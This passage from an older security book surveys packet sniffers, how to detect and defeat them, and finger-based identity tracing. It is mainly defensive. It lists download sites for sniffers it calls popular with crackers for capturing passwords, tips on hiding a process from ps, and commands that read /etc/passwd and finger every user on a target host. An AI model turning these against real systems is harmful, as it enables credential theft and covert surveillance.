\nFigure 12.4. \nGobbler's opening screen. \nOperation of Gobbler might seem a little confusing at first. There are no menus in the \ntraditional sense (that is, the menus are not immediately apparent when you start the \napplication); the application just pops up, as shown in Figure 12.4. (The menus are there; \nit is just that Gobbler is not the most user-friendly application.) Depending on what \npackage you get, you may or may not receive documentation. If you do, it will be a \nPostScript document titled Paper.gs. Of the four locations where I have found Gobbler, \nonly one has the document. It is the first of the addresses that follow. \n \nCross Reference: Gobbler is no longer widely distributed; these links are quite remote. \nExpect some download time. Gobbler can be found at \n• \nhttp://www.cse.rmit.edu.au/~rdssc/courses/ds738/watt/o\nther/gobbler.zip \n• \nhttp://cosmos.ipc.chiba-u.ac.jp/~simizu/ftp.ipc.chiba-\nu.ac.jp/.0/network/noctools/sniffer/gobbler.zip \n• \nftp://ftp.mzt.hr/pub/tools/pc/sniffers/gobbler/gobbler\n.zip \n• \nftp://ftp.tordata.se/www/hokum/gobbler.zip \n \nPress the F1 key after booting the application to view a legend that provides information \nabout the program's functions (see Figure 12.5). \nFigure 12.5. \nGobbler's function and navigation help screen. \nGobbler runs on any PC running DOS, Windows, Windows 95, and perhaps NT. It can \nbe run from a single workstation, analyzing only local packets, or it can be used remotely \nover a network (this is an especially useful function). \n" }, { "page_number": 221, "text": " \n \nContained within the program are some fairly complex functions for packet filtering as \nwell as an event-triggered mechanism (that is, one can specify a particular type of packet \nthat must be encountered before the deep logging process starts or stops). Perhaps most \nimportantly, Gobbler allows you to view both the source and destination addresses for \neach packet without further effort (these are printed to the screen in a very convenient \nmanner). \nThe program allows you to view the recording process as it happens. This is a vital \nelement of its usefulness. As noted in one of the case studies presented with the \napplication: \nA bridge was having problems in getting through its startup sequence using the bootp protocol. \n`The Gobbler' packet catcher was used to capture the packets to and from the bridge. The dump \nfile viewer and protocol analyzer made it possible to follow the whole startup sequence and to \ntrack down the cause of the problem.1 \n \n1T.V. Rijn and J.V. Oorschot, The Gobbler, An Ethernet Troubleshooter/Protocol \nAnalyzer. November 29, 1991. Delft University of Technology, Faculty of Electrical \nEngineering, the Netherlands. \n \nETHLOAD (Vyncke, Vyncke, Blondiau, Ghys, Timmermans, Hotterbeex, \nKhronis, and Keunen) \nA freeware packet sniffer written in C for Ethernet and token ring networks, ETHLOAD \nruns well atop or in conjunction with any of the following interfaces: \n• \nNovell ODI \n• \n3Com/Microsoft Protocol Manager \n• \nPC/TCP/Clarkson/Crynwr \nFurther, it analyzes the following protocols: \n• \nTCP/IP \n• \nDECnet \n• \nOSI \n• \nXNS \n• \nNetWare \n• \nNetBEUI \nOne thing that is not available in the standard distribution is the source code. This is \nunfortunate because some time ago, the source was available. However, as the authors \nexplain: \nAfter being flamed on some mailing lists for having put a sniffer source code in the public domain \nand as I understand their fears (even if a large bunch of other Ethernet sniffers are available \neverywhere), I have decided that the source code is not made available. \n" }, { "page_number": 222, "text": " \n \nWhat is interesting is that the program did have the capability to sniff rlogin and Telnet \nsessions, though only with a special key that had to be obtained from the author. As one \nmight expect, even when this key was available, the author restricted its access to those \nwho could provide some form of official certification. \nFor a free sniffer executable on a DOS/Novell platform, ETHLOAD is probably the most \ncomprehensive currently available (this is certainly so for the PC platforms). It is also \nmore easily found than others (altavista.digital.com returns approximately one \nhundred instances of the file name, and more than half of those sites have the product). \n \nCross Reference: Here are a few sites that offer ETHLOAD: \n• \nftp://oak.oakland.edu/SimTel/msdos/lan/ethld104.zip \n• \nhttp://www.med.ucalgary.ca:70/1/ftp/dos/regular \n• \nftp://ftp.vuw.ac.nz/simtel/msdos/lan/ethld104.zip \n• \nhttp://www.apricot.co.uk/ftp/bbs/atsbbs/allfiles.htm \n \nNetman (Schulze, Benko, and Farrell) \nNetman is a little different from ETHLOAD in that you can obtain the source, although \nthe process is more complex than \"ask and ye shall receive.\" It involves money ($500 for \neducational institutions, $1,000 for private firms), and the development team makes it \nclear that that source is not to be used for commercial purposes. \nThe team at Curtin University has developed a whole suite of applications in the Netman \nproject: \n• \nInterman \n• \nEtherman \n• \nPacketman \n• \nGeotraceman \n• \nLoadman \n• \nAnalyser \nEtherman is of main interest in tracing Ethernet activity. It is important to note that this \ntool is no ordinary ASCII-to-outfile packet sniffer. As the authors explain in Homebrew \nNetwork Monitoring: A Prelude to Network Management, Etherman takes a whole new \napproach that is completely distinct from its counterparts: \nIn this project, we attempt to extend the goals of these by visualizing network data. This has been \nachieved by applying a graphical model to a collection of continuously updating network \nstatistics. \n" }, { "page_number": 223, "text": " \n \nTrue to their claims, these individuals created an extraordinary tool. The program \npresents a black screen on which addresses, traffic, and interfaces are all represented as \npoints within the network (connection points or flows of data between these are \nrepresented in red). This accurate graphical model is altered as traffic varies. \nThe entire suite of applications constitutes a formidable arsenal for network analysis and \nmanagement. In the hands of a cracker, this suite could prove quite a weapon. However, \nthe main features of the Etherman program, at least, run in X. It is extremely unlikely that \na cracker would be running X apps on your network without your knowledge. If this is \ngoing on, you better wake up and mind your network; your problems are deeper than a \nsniffer. \n \nCross Reference: The Netman project, papers, and all binaries for these programs are \nlocated at http://www.cs.curtin.edu.au/~netman/. \n \n \nNOTE: The Netman suite of applications was reportedly coded on the Sun and DEC \nplatforms (SPARC and Decstation 5000, respectively). Information about porting is \nscarce, but this much is certain: This application runs only on UNIX platforms. \nMoreover, remember when I suggested that some sniffers might lose data on high-speed, \nhigh-volume networks? Packetman is apparently one such application, although the \nproblem is reportedly limited to the SunOS platform. This application is probably the \nmost functional sniffer suite for the UNIX platform (if not in terms of superb \nfunctionality, at least in design). \n \nEsniff.c (the Posse) \nEsniff.c is a sniffer program that is always distributed in source form (C language), \ndesigned primarily to sniff packet traffic on the SunOS platform. It is probably the most \npopular among crackers. It is already coded to capture only the beginning portion of each \npacket (and thereby capture user login IDs and passwords). \n \nCross Reference: Esniff.c is available at many locations, including \n• \nftp.infonexus.com \n• \nhttp://pokey.nswc.navy.mil/Docs/Progs/ensnif.txt \n• \nhttp://www.catch22.com/Twilight.NET/phuncnet/hacking/p\nroggies/sniffers/ \n \nSunsniff (Author Unknown) \nSunsniff is also designed specifically for the SunOS platform. It consists of 513 lines of C \nsource, coded reportedly by crackers who wish to remain anonymous. It works \nreasonably well on Sun, and is probably not easily portable to another flavor. This \nprogram is good for experimentation. \n \n" }, { "page_number": 224, "text": " \n \nCross Reference: Sunsniff is available at \n• \nwww.catch22.com/Twilight.NET/phuncnet/hacking/proggies\n/sniffers/ \n• \nhttp://mygale.mygale.org/08/datskewl/elite/ \n• \nhttp://hacked-inhabitants.com/warez/SUNSNIFF.C \n \nlinux_sniffer.c (Author Unknown) \nThis program's name pretty much says it all. It consists of 175 lines of C code, distributed \nprimarily at cracker sites on the Net. This program is Linux specific. It is another utility \nthat is great for experimentation on a nice Sunday afternoon; it's a free and easy way to \nlearn about packet traffic. \n \nCross Reference: linux_sniffer.c is available at \n• \nwww.catch22.com/Twilight.NET/phuncnet/hacking/proggies\n/sniffers/ \n• \nhttp://mygale.mygale.org/08/datskewl/elite/ \n• \nhttp://www.hacked-inhabitants.com/warez/ \n \nNitwit.c (Author Unknown) \nThis C source (159 lines, excluding comments) is distributed primarily at cracker sites. \nWhen compiled, it runs as a NIT (Network Interface Tap) sniffer. It is yet another \nSunOS-only utility. The authors anonymously claim that the utility is: \n...better than CERT's `cpm' because the sniffer can be reading in normal (non promiscuous) mode \nfrom /dev/nit and nittie.c will sense this. \nI would closely examine the source before employing this utility. This utility emerged \nfrom the back alleys of the Net. \n \nCross Reference: Nitwit.c can be found at \nwww.catch22.com/Twilight.NET/phuncnet/hacking/proggies/sniff\ners/nitwit.c. \n \nHow Do I Detect a Sniffer on My Network? \nThe short answer to this question is: You don't. Here lies one of the reasons sniffers are \nso threatening to security. They are largely passive applications and generate nothing. In \nother words, they leave no trace on the system. \n" }, { "page_number": 225, "text": " \n \nOne way to detect a sniffer is to search all current processes being run. This isn't entirely \nreliable, of course, but you can at least determine whether a process is being run from \nyour machine. Commands differ from platform to platform in performing this operation. \nThose with DOS, Windows for Workgroups, or Windows 95 might have a problem. \nHowever, those using UNIX or Windows NT can easily obtain a list of current processes. \nIn UNIX, issue the following command: \nps -aux \nor \nps -augx \nThis command results in a listing of all processes, who initiated those processes, what \npercentage of the CPU those processes are using, what percentage of memory, and so on. \nThe output comes in standard table form on STDOUT. If a process is still running, it should \nbe listed here (unless your ps or other binaries have been trojaned). \nAnother method is to go searching for the sniffer. There are only so many sniffers in \nexistence. Chances are a cracker is using a freeware version. There is a possibility that \nthe cracker has written his or her own. In this case, you are in trouble and will spend \nmuch time reconciling your directories. This is a complicated procedure, and I am \nunaware of a utility that does expressly this. On the UNIX platform, you likely will have \nto hack a program for yourself. \n \nNOTE: Programs like ps (in fact, most programs) can be hidden from the ps query by \nchanging their argv[0] (their first argument) to the name of a program one that is \ninnocuous and not so suspicious. \n \n \nNOTE: Directory reconciliation is a fancy way of saying you need to perform frequent \nbackups (ideally, once a day). The trick is to hack a program that takes the list of files on \neach backup and compares them to the backup on the following day. Include a type of \nfile field, which contains the information you normally glean from the file command. \nThis command reports the status of the file (whether it is binary, text, sound, and so on). \nIf a file in a user's directory was a compiled binary one day and a shell script the next, it \nmight not necessarily mean anything is wrong, but it is worth noting. A number of \nprograms can help you per-form file reconciliation and are treated in Chapter 11, \n\"Trojans.\" Some of these programs are Tripwire, ATP, and Hobgoblin. \n \nSome utilities, however, can identify whether your system has been thrown into \npromiscuous mode. These can at least detect whether a running sniffer would even work \nunder your current configuration. Nitwit.c is one such utility. \nWhat Can I Do to Foil a Sniffer? \nFoiling a sniffer attack is not a difficult task. You have quite a few choices and what you \npick will probably depend on how paranoid you truly are. The rest will depend on cost. \nYour main concern is probably the transmission of truly sensitive data (namely, user IDs \nand passwords). Some of these cross the network in plain (or clear) text and, when \n" }, { "page_number": 226, "text": " \n \ncaptured with a sniffer, are easily read. Solutions to this problem are straightforward and \ncost effective. \nEncryption \nAt various points in this book, I mention a product called Secure Shell, or SSH. SSH is a \nprotocol that provides secure communications in an application environment such as \nTelnet. It is built on the client/server model, as are most protocols out there. The official \nport that the SSH server binds to is 22. Connections are negotiated using an algorithm \nfrom RSA. After the authentication procedure is complete, all subsequent traffic is \nencrypted using IDEA technology. This is typically strong encryption and is suitable for \njust about any nonsecret, nonclassified communication. \nFor quite some time, the original SSH has been lauded (rightly so) for being the chief \ncommunications protocol that provided security by encrypted session. However, that all \nchanged in mid-1996. SSH forged an alliance with Data Fellows, and F-SSH currently \nprovides high-level, military-grade encryption to communication sessions. It provides the \nstrongest encryption available to the general public for communications across TCP/IP. \nIf you employ F-SSH on your site, usernames and passwords become less of an issue. To \nmy knowledge, there have been no instances of anyone cracking such an encryption \nscheme. If you employ this product, even if a sniffer is present, the value of the \ninformation gleaned would be negligible. The hard part is getting your staff to use it. \nPeople sometimes receive new policies and authentication procedures poorly. In short, \nyou might have to demonstrate to your local users exactly how easy it is to use SSH. \nBoth free and commercial versions of SSH and F-SSH exist. The free version is a UNIX \nutility; commercial versions for Windows 3.11, Windows 95, and Windows NT are \navailable. \nWhat Are Some Other Ways to Defeat Sniffer Attacks? \nThe generally accepted way to defeat sniffer attacks is to employ safe topology. That \nsounds easy enough, but involves some cost. \nAre you familiar with that puzzle game that consists of a series of numbered tiles? The \nobject of the game is to arrange the numbers so they appear in sequential, ascending order \nusing the fewest possible moves. When working with network topology (under cost \nconstraints by management), you are playing a game much like the tile game. \nHere are the rules: \n• \nNetwork blocks should only trust other network blocks if there is a reason. \n• \nThe network blocks should be designed around the trust relationships between your staff and not \nyour hardware needs. \n" }, { "page_number": 227, "text": " \n \nThat established, let's have a look. The first point is this: a network block should be \ncomposed of only those machines that need to trust one another. These typically belong \nin the same room or, at worst, within the same office. Your accounting staff, for example, \nshould be bunched together in some portion of the building (see Figure 12.6). \nFigure 12.6. \nThe accounting office. \nFrom the diagram in Figure 12.6, you can immediately see one difference in this \nconfiguration as compared to the others earlier in this chapter. Notice that each of the \nstations is hardwired to the hub. (There is no closed-circuit wrap, like you often see in \nsmall Novell networks. I see that kind of configuration all the time in medical and legal \noffices.) Furthermore, the hub is wired to a switch. The major difference is that because \nthe segment is hardwired in this fashion, packets can only be sniffed within that network \nsegment. Thus, the remaining portion of the network (beyond the switch) is protected \nfrom sniffing activity. This technique is commonly referred to as compartmentalization \nor segmentation. \n \nTIP: You can also use bridges or routers to perform this segmentation. This may be more \nsuitable, depending upon your configuration and finances. In fact, an older PC or \nworkstation can be made to act as a bridge or a router. \n \nIn segmentation, costs rise dramatically. Suppose you have 50 departments. Does that \nmean you need 50 hubs, 50 switches, and a router to tie them together? Possibly. It \ndepends on how paranoid you really are. If you are doing sensitive work, then yes, you \nwill be spending money on hardware. But consider the advantages: If an evil accounting \nemployee wants to plant a sniffer, he can get no more than he could by physically \ntampering with his coworker's workstation. Moreover, if a sniffer is found on one of the \nthree stations in accounting, there are only a limited number of individuals who could \nhave placed it there. \nThe problem is a matter of trust. Some machines must trust one another in order to traffic \ninformation between themselves. Your job as a system administrator is to determine ways \nin which to create the fewest trust relationships possible. In this way, you build a \nframework that can tell you when a sniffer is placed, where it is, and who could have \nplaced it. \nThe problem is, in most offices, there is no real level of trust. The average American \nbusiness is in the business of making money. Tech support is expensive and so is the \ndowntime to restring a network. Additionally, there can be serious costs involved in that \nrestringing. What if all the wiring is embedded in the walls? These are all issues that you \nmust consider. In legacy networks, these are real problems. \nAlso, you must consider the level of risk. What are you protecting? What are you \nplanning to do regarding the Internet? These are the real issues. If you intend to connect \nyour LAN to the Net, a firewall is not going to be enough. Relying solely on a firewall is \na bad idea because new cracking techniques are always emerging. Are firewalls \nimpenetrable? Vendors say yes, as long as they are properly configured. However, think \n" }, { "page_number": 228, "text": " \n \nabout that statement for a moment. There was a time, not long ago, when shadowed \npassword schemes were touted as pretty close to infallible (in spite of the fact that \neveryone deep in security knew that NIS would remain a weakness that could render the \nbest shadowing a wet noodle). Crackers can already scan behind a firewall and determine \nthe services running there. That is the first and most important step. \nIt will not be long before firewalls get cracked, so be prepared. Your first concern should \nbe the worst case: If an intruder cuts through your armor, how far can he or she get? Try \nto think of it in terms of a path or a trajectory. Starting at your Web server and working \nyour way back, how deep do the various levels of trust go? For example, the Web server \nprobably trusts one machine, which we'll call workstation1. How many machines does \nworkstation1 trust? How many of those machines trust others? In other words, worst \ncase scenario, where will the cracker finally run out of machines to compromise? \nYour job is to prevent that worst-case scenario from becoming a disaster. You do so by \nensuring that if an intruder places a sniffer, that sniffing activity is confined to a very \nsmall area. \nIf I ran a large LAN connected to the Net, I would be sniffing the traffic on it. There are \nproducts that can reliably and conveniently present the results of such sniffing in tabular \nform. A good storage device, such as a Jazz drive, makes an excellent target to save those \nsniffer logs. \nSummary \nIn this chapter, you learned a bit about sniffers: \n• \nSniffers capture packet traffic across a network, usually an Ethernet. \n• \nThese can be placed surreptitiously on your drives. \n• \nA sniffer can catch all packet traffic on a particular network block (or segment). \n• \nPrevention of compromise is a two-fold process: encryption and compartmentalization. \n• \nEncrypted communications can be used to prevent the capture of passwords if a sniffer attack is \nunderway. \n• \nDetection methods are scarce because sniffers leave little trace. However, you can run file-\nreconciliation utilities to determine new files on the system. \n• \nYou can monitor processes as they occur. \nI assert that you can benefit greatly by running a sniffer on your network, even if only for \na day. This will familiarize you with what a cracker is facing to implement such an \nattack. Also, after you are proficient with a sniffer, you can see for yourself what type of \ninformation can actually be gleaned from your particular network configuration. \n" }, { "page_number": 229, "text": " \n \nLastly, sniffer or no sniffer, trace the levels and relationships of trust on your network. \nYou might be surprised to find that this path extends through the larger portion of your \nnetwork for one reason or another. This becomes more complicated, depending on how \nmany interfaces you are running and how many protocols run on them. For example, if \nyour firm is running Novell in one area, AppleTalk in another, TCP/IP in another, \nDECnet in another, NFS in another, and so forth, you have your job cut out for you. \nStarting at any given point, how far can you travel before you reach a trust roadblock? \n \nCross Reference: Levels of trust and relationships between network segments will be \nexamined further in Chapter 28, \"Spoofing Attacks.\" Spoofing relies almost solely on \ntrust relationships and has little to do with passwords. (After all, who needs a password if \ntwo machines already trust one another?) \n \nThese considerations are all relevant to the sniffer issue. In closing, sniffers are very \npowerful tools for crackers, but only if you let them be. Moreover, if you find one on \nyour network, do not immediately remove it. Instead, install one of your own and find out \nwho is pulling the strings. Successful conclusions to network break-ins almost never \nbegin with confrontations. They begin with stealth. You cannot go to the halls of justice \nwithout evidence. \n" }, { "page_number": 230, "text": " \n \n13 \nTechniques to Hide One's Identity \nWhen the network that is now the Internet was first designed, it was assumed that all \nusers wanted to be found. No one had reason to hide, and it seemed sensible that \nresearchers should be able to locate each other. Utilities were therefore created to \nfacilitate such finding. \nSince those early days, the rise of multiple protocols has made finding people even more \nconvenient. As you will see later in this chapter, the old days demanded a high level of \nnetworking knowledge from the user. Today, finding or identifying most individuals is \ntrivial. Throughout this chapter, I examine those techniques, as well as some concepts \nabout wholesale tracing (tracing many individuals at one time). \nYou may wonder why this is deemed a security issue. In truth, it really isn't--not yet. As \nyou read this chapter, however, you will learn that the Internet is a powerful tool for \ndomestic spying. Law-enforcement and intelligence agencies already conduct such \npractices on the Internet, and for them, the Network is a bonanza. No search warrant is \nneeded to \"study\" the activity of someone on the Internet. Likewise, no warrant is needed \nto compile lists of individuals who law enforcement perceive to be involved in illegal (or \neven seditious) activity. This is not a joke. If you harbor radical political views, by the \nend of this chapter, you may elect to forever keep those views to yourself (or gain a \ndecent education in cryptography). \nLike all chapters, this one begins with the most fundamental aspects of the treated subject \nand progresses forward to more advanced information. Experienced users should shoot \nahead several pages. \nBefore I begin, I need to make one statement regarding screenshots and diagnostic \nnetwork information contained within this chapter. Certain methods of finding \nindividuals demand the use of search engines. Unfortunately, to my knowledge, the law \nhas not been adequately settled regarding the reprinting of an individual's e-mail address \nwithout his consent. Because of this, I cannot provide screenshots of searches because \nthey necessarily contain the e-mail addresses of users unknown. \nTherefore, the searches have to be described rather than illustrated. I do apologize for \nthis. However, upon reflection, I would not want my e-mail address published, and I see \nno reason why anyone else would, either. The argument is often made that anyone who \nposts to a Usenet newsgroups has at least given an implied form of consent. I do not \nsupport that view. So, I am afraid that we shall have to get along as best we can by \ndescription as opposed to screenshot. I have taken pains to explain each step carefully to \nprovide the utmost clarity. I hope that will suffice. \nSo, let us begin at the beginning, at the heart of your server. We will start at home base \nand work our way outward. \n" }, { "page_number": 231, "text": " \n \nWhat's in a Name? \nThere are two forms of user identification that apply to all platforms: your e-mail address \nand your IP address. It is often theorized that if one is obscured, the other can never be \nfound. That is untrue. Without chaining messages through a series of trusted anonymous \nremailers (remailers that are purportedly secure), anonymity on the Internet is virtually \nimpossible. Anonymous remailers are discussed in Chapter 7, \"Birth of a Network: The \nInternet.\" \nIt is possible, however, to make yourself relatively invisible, and that is probably what \nmost individuals would like to do. Before I get more specific, however, there are some \nutilities you need to know about, as well as methods of tracing individuals. I'll start with \nfinger. \nfinger \nThe finger service is a utility common to the UNIX platform. Its purpose is to provide \ninformation about users on a given system. In practical operation, finger works like most \nother services available in UNIX. Figure 13.1 demonstrates the use of Finger32, a \npopular finger client for the Microsoft Windows platform. \nFigure 13.1. \nThe finger query process. \n \nCross Reference: Finger32 is a small application port of the UNIX utility finger. It is \navailable here: ftp://hyper.net.au/Win95nt-\napps/Finger/Wsfinger/Wsfngr32.zip \n \nThe finger service relies on the client/server model, which is a recurring theme in Internet \napplications. This model works as follows: machines running server applications \ndistribute information to clients. Clients are programs designed to accept and interpret \ninformation from server applications. For example, you use a Web browser (or client) to \nread information forwarded by a Web server (the HTTP server). \nIn any event, the finger client-server relationship works as follows: On the targeted \nmachine (almost always a UNIX system), there is a server running called fingerd. This \nis more commonly referred to as the finger daemon. Its purpose is to answer requests \nfrom finger clients from the void. \nThe finger daemon can return different information, depending largely on the \nconfiguration of the server and the user's personalized settings. For example, sometimes \nan \"open\" UNIX server (that is, one not running a firewall) will disallow finger access. \nThis is done by disabling the finger daemon, removing it from the file /etc/inetd.conf. \nIn this case, the finger service is never started. Any client-issued finger request forwarded \nto such a machine will meet with a blank response (or perhaps, Connection Refused.). \nMany organizations, particularly ISPs, government sites, and private corporations, \ndisable finger services. Each has an interest in preserving the privacy of its users, and that \n" }, { "page_number": 232, "text": " \n \nis usually the reason given for disabling the service. As you will learn later, however, \ntheir motivation may also be system security. \n \nTIP: Certain vital information about the system can be culled by fingering system IDs \nsuch as root, bin, FTP, and so on. On that account, some sites will disable finger services \naltogether. It is thought that by killing the finger and RPC services, one can restrict the \namount of revealing information available to crackers in the void. To some extent, this is \ntrue. \n \n \nCross Reference: An excellent paper written by Dan Farmer and Wietse Venema \naddresses this issue: \"Improving the Security of Your Site by Breaking Into It.\" The \npaper is so widely distributed on the Internet. Here is a very reliable source: \nhttp://www.alw.nih.gov/Security/Docs/admin-guide-to-\ncracking.101.html. (This is a government site, so with all probability, this link will \nbe good for many years to come.) \n \nSome sites do not disable finger services altogether, but instead put restrictions on what \ntype of information can be accessed. For example, by default, the finger daemon allows a \nsystemwide finger. Anyone can be fingered, including special or privileged accounts. \nWhen systemwide fingering is allowed, one can gather information on all users currently \nlogged to the machine. This is done by issuing the following command at a UNIX \ncommand prompt: \nfinger @my_target_host.com \nThe @ symbol has essentially the same effect as the asterisk does in regular expression \nsearches. When it is used, the user is fingering all users currently logged to the target \nmachine. This is most useful when targeting small providers that have few customers, or \nwhen conducting such a finger query late at night. Certainly, fingering a company as \nlarge as Netcom in this manner would be foolish. (The response forwarded by the server \nwould likely be many pages in length. The only valid reason for doing this would be to \ngenerate a database of Netcom users.) At any rate, some organizations will disallow such \na request, instead forcing the requesting party to specify a particular user. \nOther sites make use of hacked finger daemons, either created in-house or available as \ndistributions from other sites across the Internet. These are finger daemons that have \nenhanced features, including advanced configuration options. \n \nCross Reference: One such hacked finger daemon is the Configurable Finger Daemon, \nor cfingerd. Written by Ken Hollis, cfingerd provides security functions not \navailable in garden-variety finger servers. It is considered to be an excellent replacement \nto the standard distribution of finger. It is available free of charge at \nftp://ftp.bitgate.com/pub/cfingerd/. \n \n \nCross Reference: For more generalized understanding of the finger daemon process, I \nsuggest viewing the source for any public-domain finger client. There is a nice online \nresource for this at http://araneus.york.ac.uk/owtwaww/finger.htm. \n \n" }, { "page_number": 233, "text": " \n \nAt any rate, taking you through the process of a finger inquiry will take just a few \nmoments, but in order for you to exploit the example, you need a finger client. UNIX \nusers, however, have no need for a finger client, because this is included in the basic \ndistribution. The same is true of Windows NT. So this little section is primarily for \nWindows, Mac, and OS/2 users. The finger clients are listed in Table 13.1. \nTable 13.1. Finger clients for non-UNIX, non-NT users. \nPlatform \nClient \nLocation \nWindows \n(All) \nWSFinger ftp://papa.indstate.edu/winsock-l/finger/wsfngr14.zip \nMacintosh \nMacfinger ftp://ftp.global.net.id/pub/mac/internet/finger-\n15.hqx \nOS/2 \nFFEU \nhttp://www.musthave.com/OS2/ftp/ffeu101.zip \nFor demonstration purposes, I will use Finger32, a popular finger application for \nWindows 95. The application is simple to use; it presents the user with a self-explanatory \nscreen from which you choose your host. (See Figure 13.2.) \nFigure 13.2. \nThe Finger32 opening screen--choosing a host. \nWhen you choose this option, a dialog box appears, requesting a host and username. (See \nFigure 13.3.) \nFigure 13.3. \nSpecifying your target. \nProviding the target is running a finger server, the return output should read something \nlike this: \nLogin name: root In real life: 0000-Admin(0000) \nDirectory: / Shell: /sbin/sh \nLast login Tue Feb 18 19:53 on pts/22 \nNew mail received Wed Feb 19 04:05:58 1997; \n unread since Wed Feb 19 03:20:43 1997 \nNo Plan. \nThis tells you several things, including the directory where root@samshack resides (/), \nthe shell he or she is using (/sbin/sh), and some details on last login and mail. (Hard-\ncore hackers will know that it also tells you that root@samshack.com is using Solaris as \nan operating system. Note the 0000-Admin[0000] string.) \nThis information does not appear to be particularly revealing; however, in 70% of all \ncases, the field In real life is filled with a name. Worse still, at some universities, you \ncan get the name, telephone number, dorm room number, and major of students enrolled \nthere (not that the major matters particularly, but it provides some interesting \nbackground). \nThe information available on a finger query is controlled primarily by the system \nadministrator of a given site, as well as what information you provide on your initial \n" }, { "page_number": 234, "text": " \n \nsignup. Most new users are not aware of this and provide all the information they can. \nMost people have no reason to hide, and many provide their office telephone number or \neven their home address. It is human nature to be mostly honest, especially when the \nentity they are providing information to seems benign. \nSo the process of identification usually either starts or ends with a finger query. As noted \npreviously, the finger query uses your e-mail address as an index. This leads us \nimmediately into an area of some controversy. Some individuals believe that by changing \ntheir e-mail address in the Netscape Navigator or Microsoft Internet Explorer Options \npanels, they obscure their identity. This is not true. It simply makes your e-mail address \nmore difficult to obtain. I will get to this subject momentarily. For now, I want to \ncontinue with finger, offering a little folklore. The following is a classic Internet story. (If \nyou've ever fingered coke@cs.cmu.edu, skip these next few paragraphs.) \nYears ago, the computer science department staff at Carnegie-Mellon University had a \ngripe about their Coke machine. Often, staffers would venture down to the basement, \nonly to find an empty machine. To remedy this problem, they rigged the machine, \nconnecting it to the Internet (apparently, they did this by wiring the machine to a DEC \n3100). They could then issue a finger request and determine the following things: \n• \nHow many sodas were in each slot \n• \nWhat those sodas were--Coke, Diet Coke, Sprite, and so on \n• \nWhether the available sodas were cold \nToday, you can still issue a finger request to the Coke machine at CMU. If you were to \ndo so, you would receive output very similar to the following: \n[ Forwarding coke as \"coke@l.gp.cs.cmu.edu\" ] \n[L.GP.CS.CMU.EDU] \nLogin: coke Name: Drink Coke \nDirectory: /usr/coke Shell: /usr/local/bin/tcsh \nLast login Sun Feb 16 18:17 (EST) on ttyp1 from GS84.SP.CS.CMU.EDU \nMail came on Tue Feb 18 14:25, last read on Tue Feb 18 14:25 \nPlan: \n M & M Coke Buttons \n /----\\ C: CCCCCCCCCCC............. \n |?????| C: CCCCCCCC.... D: CCCCCCCCCC.. \n |?????| C: CCCCCCCCCCCC D: CCCCCCCC.... \n |?????| C: CCCCCCCC.... D: CCCCCCCCC... \n |?????| C: C........... \n \\----/ S: C........... \n | Key: \n | 0 = warm; 9 = 90% cold; C = cold; . = empty \n | Beverages: C = Coke, D = Diet Coke, S = Sprite \n | Leftmost soda/pop will be dispensed next \n --^-- M&M status guessed. \n Coke status heuristics fit data. \nStatus last updated Wed Feb 19 00:20:17 1997 \n" }, { "page_number": 235, "text": " \n \nAs you can see, there is no end to the information available with a finger query. The story \nof this Coke machine was told by Terence Parr, President and Lead Mage of MageLang \nInstitute (http://www.magelang.com/), at the 1996 Netscape Developer's Conference at \nMoscone Center in San Francisco. Reportedly, Parr was demonstrating a Java application \nthat could emulate this Coke machine hack when suddenly, a former CMU student, \nMichael Adler, rose to the occasion. Adler explained the hack in detail, having firsthand \nknowledge of the Coke machine in question. In fact, Adler was largely responsible for \nadding the temperature index function. \nAt any rate, many administrators insist on supporting finger, and some have legitimate \nreasons. For example, a finger server allows easy distribution of information. In order for \nthe finger server to support this functionality, the targeted user (or alias) must have a plan \nfile. (The Coke machine at CMU certainly does!) This file is discussed in the next \nsection. \nThe Plan File (.plan) \nOn most UNIX servers, user directories are kept beneath the /home/ or /usr directory \nhierarchies. For example, a user with a username of cracker will have his home \ndirectory in /home/cracker. (This is not set in stone. System administrators are \nresponsible for where such directories are kept. They could specify this location as \nanywhere on the drive, but the typical placement is /usr or /home.) \nTypically, in that home directory are a series of special files that are created when the \nuser accesses his account for the first time. For example, the first time he utilizes the mail \nprogram Pine, a series of files are established, including .pinerc, which is the \nconfiguration file for this mail client. \nThese files are referred to as dot files, because they are preceded by a period. Most dot \nfiles are created automatically. The .plan file, however, is not. The user must create this \nfile himself, using any text editor (for example, vi or pico). This file can be closely \ncorrelated with the plan.txt file on a VAX system. Its purpose is to print user-specified \ninformation whenever that user becomes the target of a finger query. So, if the user saves \ninto the .plan file a text recounting his life history, that text will be printed to the STDOUT \nof the party requesting finger information. The .plan file is one way that information can \nbe distributed via the finger server. (Note that you, the user, must create that .plan file. \nThis is not automatically generated by anyone else.) If you examine Figure 13.1 again, \nthis will seem a bit clearer. \n \nTIP: You may have encountered servers or users that suggest that you Finger for \nmore info. Usually, this entails issuing a finger request to an address like \ninfo@targethost.com. Most often, the information you receive (which could be \npages of plain text) comes from the .plan file. \n \nThere are other reasons that some administrators keep the finger service operational. \nEntire programs can be launched by specifying a particular address to be fingered. In \nother words, one could (although it is not recommended) distribute text files this way. For \n" }, { "page_number": 236, "text": " \n \nexample, you could write an event handler to trap finger queries aimed at a particular \nuser; if user A were fingered, the server would send a specified text file to the requesting \nparty. I have seen more than one server configured this way, although it is more common \nto see mail lists designed in this manner. \nFor whatever reason, then, finger services may be running on the server at which you \nhave an account. If you have never bothered to check what information is available there, \nyou can check now by issuing a finger request to your own account. You can also \nexamine this information (the majority of it, anyway) by issuing the following command \nat a shell prompt: \ngrep your_username /etc/passwd \n \nTIP: This technique will only work on servers that use non-shadowed password files, or \nthose that are not employing NIS. In those instances, you may have to issue a command \nmore like this: \nypcat passwd || cat /etc/passwd | grep user_name \n \nThis command will print the information the server holds on you in the /etc/passwd \nfile. Note that this information will be visible even if the server makes use of shadowed \npassword entries. \nSo now you know: The names of the majority of Net citizens are there for the taking. If \nyour system administrator insists on using finger, there are several things you can do to \nminimize your exposure: \n• \nUse the popular utility chfn to alter the finger information available to outsiders \n• \nIf chfn is not available, request that the sysad change your information \n• \nCancel your current account and start a new one \n \nNOTE: If you believe in harsh solutions and you want to discourage people from \nrepeatedly fingering your account, write a .plan file that forwards a few megabytes of \ngarbage. This is most useful if your sysad refuses to assist, chfn is unavailable, and some \njoker is trying to clock your movements using finger. \n \nOf course, perhaps you are not concerned with being fingered as much as you are \nconcerned with who is doing the fingering. If so, you need MasterPlan. \nMasterPlan \nMasterPlan is an excellent utility. Written by Laurion Burchall and released in August \n1994, this product takes an aggressive approach to protecting your privacy. First and \nforemost, MasterPlan identifies who is trying to finger you. 